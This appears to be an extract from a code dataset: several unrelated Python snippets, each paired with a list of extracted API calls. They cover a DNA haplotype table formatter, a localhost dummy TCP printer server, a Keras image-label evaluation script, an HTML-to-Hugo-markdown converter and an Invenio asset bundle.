inp_nucl = df.iloc[0][[f'Inp_L{i}' for i in range(1,seq_len+1)]].values
inp_str_lst = ['Input sequence'] + [f'{codes[nucl]}{nucl}' for nucl in inp_nucl]
tb.add_row(inp_str_lst)
n_rows = df.shape[0]
# generate outcome (haplotype) rows
for rcounter in range(n_rows):
row = df.iloc[rcounter]
outp_nucl = row[[f'Outp_L{i}' for i in range(1,seq_len+1)]].values
if outcome_colname is not None:
outp_str_lst = ['{}Output sequence\n Prob.={:.4f}'.format(codes['prob'], row[outcome_colname])]
else:
outp_str_lst = ['{}Output sequence'.format(codes['prob'])]
cl_lst = []
for pos, nucl in enumerate(outp_nucl):
if row[f'conv{tb_nucl}{cb_nucl}_{pos+1}']:
cl_lst += [f"{codes['conv']}{nucl}"]
else:
cl_lst += [f'{nucl}']
outp_str_lst += cl_lst
tb.add_row(outp_str_lst)
pos_str_lst = ['Position numbering']+[str(elm) for elm in range(offset_st, offset_end+1)]
tb.add_row(pos_str_lst)
ewindow_str_lst = ['Editable window (*)'] + \
[' ' for elm in range(0, ewindow_st)]+ \
['*' for elm in range(ewindow_st, ewindow_end+1)]+ \
[' ' for elm in range(ewindow_end+1, seq_len)]
tb.add_row(ewindow_str_lst)
seqwindow_str_lst = ['Sequence window (+)'] + \
[' ' for elm in range(0, seq_st)]+ \
['+' for elm in range(seq_st, seq_end+1)]+ \
[' ' for elm in range(seq_end+1, seq_len)]
tb.add_row(seqwindow_str_lst)
if return_type == 'html':
return clss._format_html_table(tb.get_html_string(), conv_nl)
else: # default string
return tb.get_string()
@classmethod
def _format_html_table(clss, html_str, conv_nl):
tb_nucl, cb_nucl = conv_nl
html_colors = clss.html_colors
codes = clss.codes
nucl_colrmap = clss.nucl_colrmap
for nucl in codes:
if nucl == 'conv':
ctext = codes[nucl]
color = html_colors[nucl_colrmap[cb_nucl]]
else:
ctext = codes[nucl]
color = html_colors[nucl_colrmap[nucl]]
html_str = re.sub(f'<td>{ctext}', '<td bgcolor="{}">'.format(color), html_str)
return html_str
class HaplotypeVizFile():
def __init__(self, resc_pth):
# resc_pth: viz resources folder path
# it contains 'header.txt', 'jupcellstyle.css', 'begin.txt', and 'end.txt'
self.resc_pth = resc_pth
def create(self, tablehtml, dest_pth, fname):
resc_pth = self.resc_pth
ls = []
for ftname in ('header.txt', 'jupcellstyle.css', 'begin.txt'):
with open(os.path.join(resc_pth, ftname), mode='r') as f:
ls.extend(f.readlines())
ls.append(tablehtml)
with open(os.path.join(resc_pth, 'end.txt'), mode='r') as f:
ls.extend(f.readlines())
content = "".join(ls)
with open(os.path.join(dest_pth, f'{fname}.html'), mode='w') as f:
f.write(content)
| [
"pandas.Series",
"prettytable.PrettyTable",
"numpy.where",
"itertools.product",
"tqdm.tqdm",
"os.path.join",
"pandas.DataFrame",
"pandas.concat"
] | [((259, 275), 'pandas.Series', 'pd.Series', (['chars'], {}), '(chars)\n', (268, 275), True, 'import pandas as pd\n'), ((1640, 1653), 'prettytable.PrettyTable', 'PrettyTable', ([], {}), '()\n', (1651, 1653), False, 'from prettytable import PrettyTable\n'), ((2618, 2631), 'prettytable.PrettyTable', 'PrettyTable', ([], {}), '()\n', (2629, 2631), False, 'from prettytable import PrettyTable\n'), ((4672, 4695), 'tqdm.tqdm', 'tqdm', ([], {'total': 'dfg.ngroups'}), '(total=dfg.ngroups)\n', (4676, 4695), False, 'from tqdm import tqdm\n'), ((5988, 6021), 'itertools.product', 'itertools.product', (['*comb_nucl_lst'], {}), '(*comb_nucl_lst)\n', (6005, 6021), False, 'import itertools\n'), ((9330, 9359), 'pandas.concat', 'pd.concat', (['res_df_lst'], {'axis': '(0)'}), '(res_df_lst, axis=0)\n', (9339, 9359), True, 'import pandas as pd\n'), ((10125, 10140), 'tqdm.tqdm', 'tqdm', ([], {'total': '(100)'}), '(total=100)\n', (10129, 10140), False, 'from tqdm import tqdm\n'), ((11615, 11631), 'pandas.Series', 'pd.Series', (['chars'], {}), '(chars)\n', (11624, 11631), True, 'import pandas as pd\n'), ((13058, 13134), 'pandas.concat', 'pd.concat', (['[seqid_df, base_mask, df, baseseq_letters_df, baseseq_df]'], {'axis': '(1)'}), '([seqid_df, base_mask, df, baseseq_letters_df, baseseq_df], axis=1)\n', (13067, 13134), True, 'import pandas as pd\n'), ((14883, 14896), 'prettytable.PrettyTable', 'PrettyTable', ([], {}), '()\n', (14894, 14896), False, 'from prettytable import PrettyTable\n'), ((7950, 7977), 'pandas.DataFrame', 'pd.DataFrame', (['comb_nucl_arr'], {}), '(comb_nucl_arr)\n', (7962, 7977), True, 'import pandas as pd\n'), ((8724, 8771), 'pandas.DataFrame', 'pd.DataFrame', (["([record['Inp_seq']] * num_options)"], {}), "([record['Inp_seq']] * num_options)\n", (8736, 8771), True, 'import pandas as pd\n'), ((8850, 8896), 'pandas.DataFrame', 'pd.DataFrame', (["([record['seq_id']] * num_options)"], {}), "([record['seq_id']] * num_options)\n", (8862, 8896), True, 'import pandas as pd\n'), ((8971, 9031), 'pandas.concat', 'pd.concat', (['[seqid_df, inpseq_df, a, comb_nucl_df, b]'], {'axis': '(1)'}), '([seqid_df, inpseq_df, a, comb_nucl_df, b], axis=1)\n', (8980, 9031), True, 'import pandas as pd\n'), ((10707, 10729), 'pandas.DataFrame', 'pd.DataFrame', (['conv_mat'], {}), '(conv_mat)\n', (10719, 10729), True, 'import pandas as pd\n'), ((6994, 7023), 'numpy.where', 'np.where', (['(rec_nucl == tb_nucl)'], {}), '(rec_nucl == tb_nucl)\n', (7002, 7023), True, 'import numpy as np\n'), ((11045, 11090), 'pandas.concat', 'pd.concat', (['[inp_df, outp_df, conv_df]'], {'axis': '(1)'}), '([inp_df, outp_df, conv_df], axis=1)\n', (11054, 11090), True, 'import pandas as pd\n'), ((18427, 18460), 'os.path.join', 'os.path.join', (['resc_pth', '"""end.txt"""'], {}), "(resc_pth, 'end.txt')\n", (18439, 18460), False, 'import os\n'), ((18563, 18602), 'os.path.join', 'os.path.join', (['dest_pth', 'f"""{fname}.html"""'], {}), "(dest_pth, f'{fname}.html')\n", (18575, 18602), False, 'import os\n'), ((18291, 18321), 'os.path.join', 'os.path.join', (['resc_pth', 'ftname'], {}), '(resc_pth, ftname)\n', (18303, 18321), False, 'import os\n'), ((10956, 10990), 'pandas.DataFrame', 'pd.DataFrame', (['df[outcome_prop_col]'], {}), '(df[outcome_prop_col])\n', (10968, 10990), True, 'import pandas as pd\n')] |
#!/usr/bin/env python3
# It does work with Python 2.7, too.
from __future__ import print_function
from __future__ import unicode_literals
try:
from SocketServer import TCPServer, BaseRequestHandler
except ImportError: # Python 3
from socketserver import TCPServer, BaseRequestHandler
class DummyHandler(BaseRequestHandler):
""" Simply write everything to stdout. """
def handle(self):
print("-----------------------------------------------------")
print("New connection from {}:".format(self.client_address))
buffer = b''
while True:
data = self.request.recv(1024)
if data:
buffer += data
else:
break
print(buffer)
print("-----------------------------------------------------")
if __name__ == "__main__":
listen_config = ("127.0.0.1", 9100)
print("Listening at {}...".format(listen_config))
server = TCPServer(listen_config, DummyHandler)
server.serve_forever()
| [
"socketserver.TCPServer"
] | [((953, 991), 'socketserver.TCPServer', 'TCPServer', (['listen_config', 'DummyHandler'], {}), '(listen_config, DummyHandler)\n', (962, 991), False, 'from socketserver import TCPServer, BaseRequestHandler\n')] |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Using CNN to create descriptors and neural layer to predict
object recognition in images.
By: <NAME>, <NAME>, and <NAME>.
MLDM Master's Year 2
Fall Semester 2017
"""
import os
###############################################################################
#Set Params
Classes = os.listdir('D:/GD/MLDM/Computer_Vision_Project/cnn5/data/training')
model = 'D:/GD/MLDM/Computer_Vision_Project/cnn5/results/cvp_cnn_sigmoid_10_10.model'
test_dir = 'D:/GD/MLDM/Computer_Vision_Project/Data/test_VOC2007/JPEGImages/'
test_ann_dir = "D:/GD/MLDM/Computer_Vision_Project/Data/test_VOC2007/Annotations2/"
results_file = 'D:/GD/MLDM/Computer_Vision_Project/cnn5/results/cvp_cnn_sigmoid_10_10_results.csv'
specific_img = None #[]
###############################################################################
#%%
import sys
import argparse
import numpy as np
from PIL import Image
import requests
from io import BytesIO
import matplotlib.pyplot as plt
import cv2
import pandas as pd
import xml.etree.ElementTree as ET
from keras.preprocessing import image
from keras.models import load_model
from keras.applications.inception_v3 import preprocess_input
#%%
def predict(model, img, target_size):
"""Run model prediction on image
Args:
model: keras model
img: PIL format image
target_size: (w,h) tuple
Returns:
list of predicted labels and their probabilities
"""
if img.size != target_size:
img = img.resize(target_size)
x = image.img_to_array(img)
x = np.expand_dims(x, axis=0)
x = preprocess_input(x)
preds = model.predict(x)
return preds[0]
#return x
#%%
def plot_preds(image, preds):
"""Displays image and the top-n predicted probabilities in a bar graph
Args:
image: PIL image
preds: list of predicted labels and their probabilities
"""
plt.imshow(image)
plt.axis('off')
plt.figure()
labels = ("cat", "dog")
plt.barh([0, 1], preds, alpha=0.5)
plt.yticks([0, 1], labels)
plt.xlabel('Probability')
plt.xlim(0,1.01)
plt.tight_layout()
plt.show()
#%%
#Percent of total prediction by class
def pred_percent(pred_class):
for col in pred_class.columns:
col_sum = pred_class.loc[:,col].sum()
for row in pred_class.index:
pred_val = pred_class.loc[row,col].astype('float64')
pred_class.loc[row,col] = pred_val/col_sum
return pred_class
#%%
#Use threshold to create binary prediction matrix
def binary_pred(pred_class, threshold):
#Use threshold to create binary classifications
for col in pred_class.columns:
for row in pred_class.index:
if pred_class.loc[row,col] >= threshold:
#if pred_class.loc[row,col] != 0:
pred_class.loc[row,col] = 1
else:
pred_class.loc[row,col] = 0
pred_class = pred_class.astype('int')
return pred_class
#%%
def make_prediction(test_dir,test_ann_dir,target_size,model,specific_img=None):
#Get all test images
test_imgs = os.listdir(test_dir)
test_anns = os.listdir(test_ann_dir)
pred_class = pd.DataFrame(index=Classes)
true_class = pd.DataFrame(index=Classes)
if specific_img:
test_imgs = [x for x in test_imgs if x in specific_img]
#Iterate and get prediction and correct class tables
print('Predicting')
preds = []
for img_name in test_imgs:
img_name = img_name[:-4]
#Ensure we have correct label values
if (img_name+'.xml') in test_anns:
#Load image
img = Image.open(test_dir+img_name+'.jpg')
#Predict labels
preds += [predict(model, img, target_size)]
print(img_name)
#return preds
print('Testing')
for j in range(len(preds)):
pred = preds[j]
img_name = test_imgs[j]
img_name = img_name[:-4]
print(img_name)
#Percent of total prediction by each object type
percent_pred = []
for i in pred:
percent_pred = percent_pred + [(i/np.sum(pred))]
#combine percents with labels
percent_pred = pd.DataFrame(percent_pred, index=Classes, columns=[img_name])
pred_class = pred_class.join(percent_pred)
#Get percent of prediction for each class
pred_class = pred_percent(pred_class)
#Use threshold to get binary classification
pred_class = binary_pred(pred_class, threshold=.26)
print('Compiling correct labels')
for img_name in test_imgs:
img_name = img_name[:-4]
#Get correct labels
tree = ET.parse(test_ann_dir + img_name + '.xml')
root = tree.getroot()
class_names = []
for child in root:
if child.tag == "object":
obj_name = child.find("name").text
if obj_name not in class_names:
class_names += [obj_name]
#Create one hot encoding
one_hot = pd.DataFrame(np.repeat(0,20),index=Classes,columns=[img_name])
for class_name in class_names:
one_hot.loc[class_name,img_name] = 1
true_class = true_class.join(one_hot)
'''
#Print prediction vs actual
for x in true_class.columns:
print('#######################################')
print('Image: ' + str(x))
print('***************************************')
print('Predicted Labels:')
for y in true_class.index:
print(str(y) + ': ' + str(pred_class.loc[y,x]))
print('***************************************')
print('True Labels:')
for y in true_class.index:
print(str(y) + ': ' + str(true_class.loc[y,x]))
print('***************************************')
'''
results = pd.DataFrame(columns=['tp','fp','tn','fn','acc','prec','rec'])
#Compare predictions vs true labels
tp = 0
fp = 0
tn = 0
fn = 0
for y in pred_class.index:
temp_tp = 0
temp_fp = 0
temp_tn = 0
temp_fn = 0
for x in pred_class.columns:
true_val = true_class.loc[y,x]
pred_val = pred_class.loc[y,x]
if ((true_val==1) & (pred_val==1)):
tp += 1
temp_tp += 1
elif ((true_val==0) & (pred_val==1)):
fp += 1
temp_fp += 1
elif ((true_val==1) & (pred_val==0)):
fn += 1
temp_fn += 1
elif ((true_val==0) & (pred_val==0)):
tn += 1
temp_tn += 1
results.loc[y,'tp'] = temp_tp
results.loc[y,'fp'] = temp_fp
results.loc[y,'tn'] = temp_tn
results.loc[y,'fn'] = temp_fn
results.loc[y,'acc'] = ((temp_tp+temp_tn)/(temp_tp+temp_fp+temp_tn+temp_fn))
if (temp_tp+temp_fp) > 0:
results.loc[y,'prec'] = (temp_tp/(temp_tp+temp_fp))
if (temp_tp+temp_fn) > 0:
results.loc[y,'rec'] = (temp_tp/(temp_tp+temp_fn))
#Results
print('True Positives: ' + str(tp))
print('False Positives: ' + str(fp))
print('True Negatives: ' + str(tn))
print('False Negatives: ' + str(fn))
#Accuracy, precision, recall
print('Accuracy: ' + str((tp+tn)/(tp+fp+tn+fn)))
print('Precision: ' + str(tp/(tp+fp)))
print('Recall: ' + str(tp/(tp+fn)))
print('#######################################')
#results = pd.DataFrame(columns=['tp','fp','tn','fn','acc','prec','rec'])
results.loc['Total','tp'] = tp
results.loc['Total','fp'] = fp
results.loc['Total','tn'] = tn
results.loc['Total','fn'] = fn
results.loc['Total','acc'] = ((tp+tn)/(tp+fp+tn+fn))
results.loc['Total','prec'] = (tp/(tp+fp))
results.loc['Total','rec'] = (tp/(tp+fn))
results.to_csv(results_file)
return pred_class, true_class
#%%
#Run Prediction
target_size = (299, 299) #fixed size for InceptionV3 architecture
print('loading model')
model = load_model(model)
print('model loading')
print('Starting prediction model')
pred_class, true_class = make_prediction(test_dir,test_ann_dir,target_size,model,specific_img)
| [
"keras.preprocessing.image.img_to_array",
"keras.applications.inception_v3.preprocess_input",
"matplotlib.pyplot.imshow",
"os.listdir",
"xml.etree.ElementTree.parse",
"numpy.repeat",
"matplotlib.pyplot.barh",
"matplotlib.pyplot.xlabel",
"matplotlib.pyplot.yticks",
"pandas.DataFrame",
"matplotlib... | [((331, 398), 'os.listdir', 'os.listdir', (['"""D:/GD/MLDM/Computer_Vision_Project/cnn5/data/training"""'], {}), "('D:/GD/MLDM/Computer_Vision_Project/cnn5/data/training')\n", (341, 398), False, 'import os\n'), ((8223, 8240), 'keras.models.load_model', 'load_model', (['model'], {}), '(model)\n', (8233, 8240), False, 'from keras.models import load_model\n'), ((1505, 1528), 'keras.preprocessing.image.img_to_array', 'image.img_to_array', (['img'], {}), '(img)\n', (1523, 1528), False, 'from keras.preprocessing import image\n'), ((1535, 1560), 'numpy.expand_dims', 'np.expand_dims', (['x'], {'axis': '(0)'}), '(x, axis=0)\n', (1549, 1560), True, 'import numpy as np\n'), ((1567, 1586), 'keras.applications.inception_v3.preprocess_input', 'preprocess_input', (['x'], {}), '(x)\n', (1583, 1586), False, 'from keras.applications.inception_v3 import preprocess_input\n'), ((1851, 1868), 'matplotlib.pyplot.imshow', 'plt.imshow', (['image'], {}), '(image)\n', (1861, 1868), True, 'import matplotlib.pyplot as plt\n'), ((1871, 1886), 'matplotlib.pyplot.axis', 'plt.axis', (['"""off"""'], {}), "('off')\n", (1879, 1886), True, 'import matplotlib.pyplot as plt\n'), ((1890, 1902), 'matplotlib.pyplot.figure', 'plt.figure', ([], {}), '()\n', (1900, 1902), True, 'import matplotlib.pyplot as plt\n'), ((1931, 1965), 'matplotlib.pyplot.barh', 'plt.barh', (['[0, 1]', 'preds'], {'alpha': '(0.5)'}), '([0, 1], preds, alpha=0.5)\n', (1939, 1965), True, 'import matplotlib.pyplot as plt\n'), ((1968, 1994), 'matplotlib.pyplot.yticks', 'plt.yticks', (['[0, 1]', 'labels'], {}), '([0, 1], labels)\n', (1978, 1994), True, 'import matplotlib.pyplot as plt\n'), ((1997, 2022), 'matplotlib.pyplot.xlabel', 'plt.xlabel', (['"""Probability"""'], {}), "('Probability')\n", (2007, 2022), True, 'import matplotlib.pyplot as plt\n'), ((2025, 2042), 'matplotlib.pyplot.xlim', 'plt.xlim', (['(0)', '(1.01)'], {}), '(0, 1.01)\n', (2033, 2042), True, 'import matplotlib.pyplot as plt\n'), ((2044, 2062), 'matplotlib.pyplot.tight_layout', 'plt.tight_layout', ([], {}), '()\n', (2060, 2062), True, 'import matplotlib.pyplot as plt\n'), ((2065, 2075), 'matplotlib.pyplot.show', 'plt.show', ([], {}), '()\n', (2073, 2075), True, 'import matplotlib.pyplot as plt\n'), ((3027, 3047), 'os.listdir', 'os.listdir', (['test_dir'], {}), '(test_dir)\n', (3037, 3047), False, 'import os\n'), ((3064, 3088), 'os.listdir', 'os.listdir', (['test_ann_dir'], {}), '(test_ann_dir)\n', (3074, 3088), False, 'import os\n'), ((3106, 3133), 'pandas.DataFrame', 'pd.DataFrame', ([], {'index': 'Classes'}), '(index=Classes)\n', (3118, 3133), True, 'import pandas as pd\n'), ((3151, 3178), 'pandas.DataFrame', 'pd.DataFrame', ([], {'index': 'Classes'}), '(index=Classes)\n', (3163, 3178), True, 'import pandas as pd\n'), ((6003, 6071), 'pandas.DataFrame', 'pd.DataFrame', ([], {'columns': "['tp', 'fp', 'tn', 'fn', 'acc', 'prec', 'rec']"}), "(columns=['tp', 'fp', 'tn', 'fn', 'acc', 'prec', 'rec'])\n", (6015, 6071), True, 'import pandas as pd\n'), ((4209, 4270), 'pandas.DataFrame', 'pd.DataFrame', (['percent_pred'], {'index': 'Classes', 'columns': '[img_name]'}), '(percent_pred, index=Classes, columns=[img_name])\n', (4221, 4270), True, 'import pandas as pd\n'), ((4687, 4729), 'xml.etree.ElementTree.parse', 'ET.parse', (["(test_ann_dir + img_name + '.xml')"], {}), "(test_ann_dir + img_name + '.xml')\n", (4695, 4729), True, 'import xml.etree.ElementTree as ET\n'), ((3577, 3617), 'PIL.Image.open', 'Image.open', (["(test_dir + img_name + '.jpg')"], {}), "(test_dir + img_name + '.jpg')\n", (3587, 3617), False, 'from PIL import Image\n'), ((5095, 5111), 'numpy.repeat', 'np.repeat', (['(0)', '(20)'], {}), '(0, 20)\n', (5104, 5111), True, 'import numpy as np\n'), ((4110, 4122), 'numpy.sum', 'np.sum', (['pred'], {}), '(pred)\n', (4116, 4122), True, 'import numpy as np\n')] |
import os
import requests
import yaml
import re
import html
from dotenv import load_dotenv
from typing import List
# define config object
config = {
"api_key": "",
"api_url": "",
"output_dir": "",
"save_html": False,
"docs": [],
"increase_heading_levels": 1,
}
# load config from file
with open('config.yaml') as file:
config.update(yaml.full_load(file))
# load API key from env
load_dotenv()
config['api_key'] = os.getenv("API_KEY")
# define regex patterns
h_patterns = [
re.compile(r'<h1>(.*?)</h1>', flags=re.IGNORECASE | re.DOTALL),
re.compile(r'<h2>(.*?)</h2>', flags=re.IGNORECASE | re.DOTALL),
re.compile(r'<h3>(.*?)</h3>', flags=re.IGNORECASE | re.DOTALL),
re.compile(r'<h4>(.*?)</h4>', flags=re.IGNORECASE | re.DOTALL),
re.compile(r'<h5>(.*?)</h5>', flags=re.IGNORECASE | re.DOTALL),
re.compile(r'<h6>(.*?)</h6>', flags=re.IGNORECASE | re.DOTALL),
]
br_pattern = re.compile(r'<br\s?/>\s?', flags=re.IGNORECASE | re.DOTALL)
strong_pattern = re.compile(r'<strong>(.*?)</strong>', flags=re.IGNORECASE | re.DOTALL)
p_pattern = re.compile(r'<p>(.*?)</p>', flags=re.IGNORECASE | re.DOTALL)
md_h_patterns = [
re.compile(r'(\n|^)# (?P<title>.*?)\n', flags=re.IGNORECASE | re.DOTALL),
re.compile(r'(\n|^)## (?P<title>.*?)\n', flags=re.IGNORECASE | re.DOTALL),
re.compile(r'(\n|^)### (?P<title>.*?)\n', flags=re.IGNORECASE | re.DOTALL),
re.compile(r'(\n|^)#### (?P<title>.*?)\n', flags=re.IGNORECASE | re.DOTALL),
re.compile(r'(\n|^)##### (?P<title>.*?)\n', flags=re.IGNORECASE | re.DOTALL),
re.compile(r'(\n|^)###### (?P<title>.*?)\n', flags=re.IGNORECASE | re.DOTALL),
]
# write string to file
def save_string(filename, string):
f = open(os.path.join(config['output_dir'], filename), "w")
f.write(string)
f.close()
# convert html doc to hugo markdown
def convert_html_to_md(html_doc: str) -> str:
md = html_doc
# simplify line breaks
md = md.replace("\r\n", "\n")
# replace opening heading-tags
for i in range(6):
md = h_patterns[i].sub(lambda match: "\n" + ("#" * (i + 1)) + " " + match.group(1) + "\n", md)
# rewrite line breaks
md = br_pattern.sub(r' \n\n', md)
# rewrite strong text
md = strong_pattern.sub(r'**\1**', md)
# rewrite paragraphs
md = p_pattern.sub(r'\n\1\n', md)
# remove double line breaks
md = re.sub(r'\n{2}', "\n", md)
# clean string
md = md.strip() + "\n"
# unescape html
md = html.unescape(md)
return md
def fix_heading_levels(md: str, increase: int) -> str:
if increase > 0:
for i in range(6):
orig_level = 6 - i
new_level = orig_level + increase
pattern = md_h_patterns[orig_level - 1]
if new_level > 6:
md = pattern.sub(lambda match: "\n**" + match.group('title') + "**\n", md)
else:
md = pattern.sub(lambda match: "\n" + ("#" * new_level) + " " + match.group('title') + "\n", md)
return md
def make_hugo_head(md: str, modified_list: List[str], created_list: List[str], template: str) -> str:
publish_date = min(created_list)
mod_date = max(modified_list)
# build hugo head
tmp_hugo_head = "---\n" + yaml.dump(template) + "---\n\n"
tmp_hugo_head = tmp_hugo_head.replace("PUBLISH_DATE", publish_date)
tmp_hugo_head = tmp_hugo_head.replace("MOD_DATE", mod_date)
if "H1_TEXT" in tmp_hugo_head:
# find first h1 heading
md_h1_match = md_h_patterns[0].search(md)
if not md_h1_match:
raise Exception("no h1 found, but required for hugo head")
# get text of h1 heading
h1_text = md_h1_match.group('title')
# start end end position of h1
h1_start_pos, h1_end_pos = md_h1_match.span()
# remove h1 from markdown string
md = md[:h1_start_pos] + md[h1_end_pos:]
# replace H1_TEXT placeholder in hugo_head template
tmp_hugo_head = tmp_hugo_head.replace("H1_TEXT", h1_text)
md = fix_heading_levels(md, config['increase_heading_levels'])
md = md.strip() + "\n"
# add hugo title to document
md = tmp_hugo_head + md
return md
def query(path: str, json_key: str) -> (str, str, str):
r = requests.get(config['api_url'] + path, headers={"eRecht24": config['api_key']})
if r.status_code != 200:
raise Exception("error", r.status_code)
r_json = r.json()
html_doc = r_json[json_key]
created = r_json['created']
modified = r_json['modified']
return html_doc, created, modified
def build_page(page_config: dict):
modified_list = []
created_list = []
page_html = ""
page_md = ""
for doc in page_config['query']:
html_doc, created, modified = query(doc['path'], doc['json_key'])
modified_list.append(modified)
created_list.append(created)
page_html += html_doc.strip() + "\n"
page_md += convert_html_to_md(html_doc) + "\n"
if config['save_html']:
save_string(page_config['filename'] + ".html", page_html)
page_md = make_hugo_head(page_md, modified_list, created_list, template=page_config['hugo_head'])
save_string(page_config['filename'] + ".md", page_md)
if __name__ == '__main__':
if not os.path.isdir(config['output_dir']):
os.mkdir(config['output_dir'])
for page in config['pages']:
build_page(page)
| [
"yaml.full_load",
"os.getenv",
"re.compile",
"yaml.dump",
"html.unescape",
"os.path.join",
"requests.get",
"dotenv.load_dotenv",
"os.path.isdir",
"os.mkdir",
"re.sub"
] | [((410, 423), 'dotenv.load_dotenv', 'load_dotenv', ([], {}), '()\n', (421, 423), False, 'from dotenv import load_dotenv\n'), ((444, 464), 'os.getenv', 'os.getenv', (['"""API_KEY"""'], {}), "('API_KEY')\n", (453, 464), False, 'import os\n'), ((928, 988), 're.compile', 're.compile', (['"""<br\\\\s?/>\\\\s?"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('<br\\\\s?/>\\\\s?', flags=re.IGNORECASE | re.DOTALL)\n", (938, 988), False, 'import re\n'), ((1005, 1074), 're.compile', 're.compile', (['"""<strong>(.*?)</strong>"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('<strong>(.*?)</strong>', flags=re.IGNORECASE | re.DOTALL)\n", (1015, 1074), False, 'import re\n'), ((1088, 1147), 're.compile', 're.compile', (['"""<p>(.*?)</p>"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('<p>(.*?)</p>', flags=re.IGNORECASE | re.DOTALL)\n", (1098, 1147), False, 'import re\n'), ((509, 570), 're.compile', 're.compile', (['"""<h1>(.*?)</h1>"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('<h1>(.*?)</h1>', flags=re.IGNORECASE | re.DOTALL)\n", (519, 570), False, 'import re\n'), ((577, 638), 're.compile', 're.compile', (['"""<h2>(.*?)</h2>"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('<h2>(.*?)</h2>', flags=re.IGNORECASE | re.DOTALL)\n", (587, 638), False, 'import re\n'), ((645, 706), 're.compile', 're.compile', (['"""<h3>(.*?)</h3>"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('<h3>(.*?)</h3>', flags=re.IGNORECASE | re.DOTALL)\n", (655, 706), False, 'import re\n'), ((713, 774), 're.compile', 're.compile', (['"""<h4>(.*?)</h4>"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('<h4>(.*?)</h4>', flags=re.IGNORECASE | re.DOTALL)\n", (723, 774), False, 'import re\n'), ((781, 842), 're.compile', 're.compile', (['"""<h5>(.*?)</h5>"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('<h5>(.*?)</h5>', flags=re.IGNORECASE | re.DOTALL)\n", (791, 842), False, 'import re\n'), ((849, 910), 're.compile', 're.compile', (['"""<h6>(.*?)</h6>"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('<h6>(.*?)</h6>', flags=re.IGNORECASE | re.DOTALL)\n", (859, 910), False, 'import re\n'), ((1172, 1245), 're.compile', 're.compile', (['"""(\\\\n|^)# (?P<title>.*?)\\\\n"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('(\\\\n|^)# (?P<title>.*?)\\\\n', flags=re.IGNORECASE | re.DOTALL)\n", (1182, 1245), False, 'import re\n'), ((1250, 1324), 're.compile', 're.compile', (['"""(\\\\n|^)## (?P<title>.*?)\\\\n"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('(\\\\n|^)## (?P<title>.*?)\\\\n', flags=re.IGNORECASE | re.DOTALL)\n", (1260, 1324), False, 'import re\n'), ((1329, 1404), 're.compile', 're.compile', (['"""(\\\\n|^)### (?P<title>.*?)\\\\n"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('(\\\\n|^)### (?P<title>.*?)\\\\n', flags=re.IGNORECASE | re.DOTALL)\n", (1339, 1404), False, 'import re\n'), ((1409, 1485), 're.compile', 're.compile', (['"""(\\\\n|^)#### (?P<title>.*?)\\\\n"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('(\\\\n|^)#### (?P<title>.*?)\\\\n', flags=re.IGNORECASE | re.DOTALL)\n", (1419, 1485), False, 'import re\n'), ((1490, 1567), 're.compile', 're.compile', (['"""(\\\\n|^)##### (?P<title>.*?)\\\\n"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('(\\\\n|^)##### (?P<title>.*?)\\\\n', flags=re.IGNORECASE | re.DOTALL)\n", (1500, 1567), False, 'import re\n'), ((1572, 1650), 're.compile', 're.compile', (['"""(\\\\n|^)###### (?P<title>.*?)\\\\n"""'], {'flags': '(re.IGNORECASE | re.DOTALL)'}), "('(\\\\n|^)###### (?P<title>.*?)\\\\n', flags=re.IGNORECASE | re.DOTALL)\n", (1582, 1650), False, 'import re\n'), ((2379, 2405), 're.sub', 're.sub', (['"""\\\\n{2}"""', '"""\n"""', 'md'], {}), "('\\\\n{2}', '\\n', md)\n", (2385, 2405), False, 'import re\n'), ((2483, 2500), 'html.unescape', 'html.unescape', (['md'], {}), '(md)\n', (2496, 2500), False, 'import html\n'), ((4258, 4337), 'requests.get', 'requests.get', (["(config['api_url'] + path)"], {'headers': "{'eRecht24': config['api_key']}"}), "(config['api_url'] + path, headers={'eRecht24': config['api_key']})\n", (4270, 4337), False, 'import requests\n'), ((363, 383), 'yaml.full_load', 'yaml.full_load', (['file'], {}), '(file)\n', (377, 383), False, 'import yaml\n'), ((1726, 1770), 'os.path.join', 'os.path.join', (["config['output_dir']", 'filename'], {}), "(config['output_dir'], filename)\n", (1738, 1770), False, 'import os\n'), ((5281, 5316), 'os.path.isdir', 'os.path.isdir', (["config['output_dir']"], {}), "(config['output_dir'])\n", (5294, 5316), False, 'import os\n'), ((5326, 5356), 'os.mkdir', 'os.mkdir', (["config['output_dir']"], {}), "(config['output_dir'])\n", (5334, 5356), False, 'import os\n'), ((3247, 3266), 'yaml.dump', 'yaml.dump', (['template'], {}), '(template)\n', (3256, 3266), False, 'import yaml\n')] |
# -*- coding: utf-8 -*-
#
# Copyright (C) 2018 CERN.
#
# Invenio-Records-Editor
# is free software; you can redistribute it and/or modify
# it under the terms of the MIT License; see LICENSE file for more details.
"""Bundle definition for record editor."""
from __future__ import absolute_import, division, print_function
from flask_assets import Bundle
from invenio_assets import NpmBundle
EDITOR_PATH = "node_modules/@inveniosoftware/invenio-records-editor-js/dist"
js = NpmBundle(
"%s/inline.bundle.js" % EDITOR_PATH,
"%s/polyfills.bundle.js" % EDITOR_PATH,
"%s/vendor.bundle.js" % EDITOR_PATH,
"%s/main.bundle.js" % EDITOR_PATH,
depends=("%s/*.js" % EDITOR_PATH),
filters="uglifyjs",
output="gen/invenio-records-editor-js.%(version)s.js",
npm={"@inveniosoftware/invenio-records-editor-js": "0.0.3"},
)
"""Default Editor JavaScript bundle with Angular4."""
css = Bundle(
"%s/styles.bundle.css" % EDITOR_PATH,
filters="cleancssurl",
output="gen/invenio-records-editor-js.%(version)s.css",
)
"""Default Editor CSS bundle with bootstrap, toastr"""
| [
"invenio_assets.NpmBundle",
"flask_assets.Bundle"
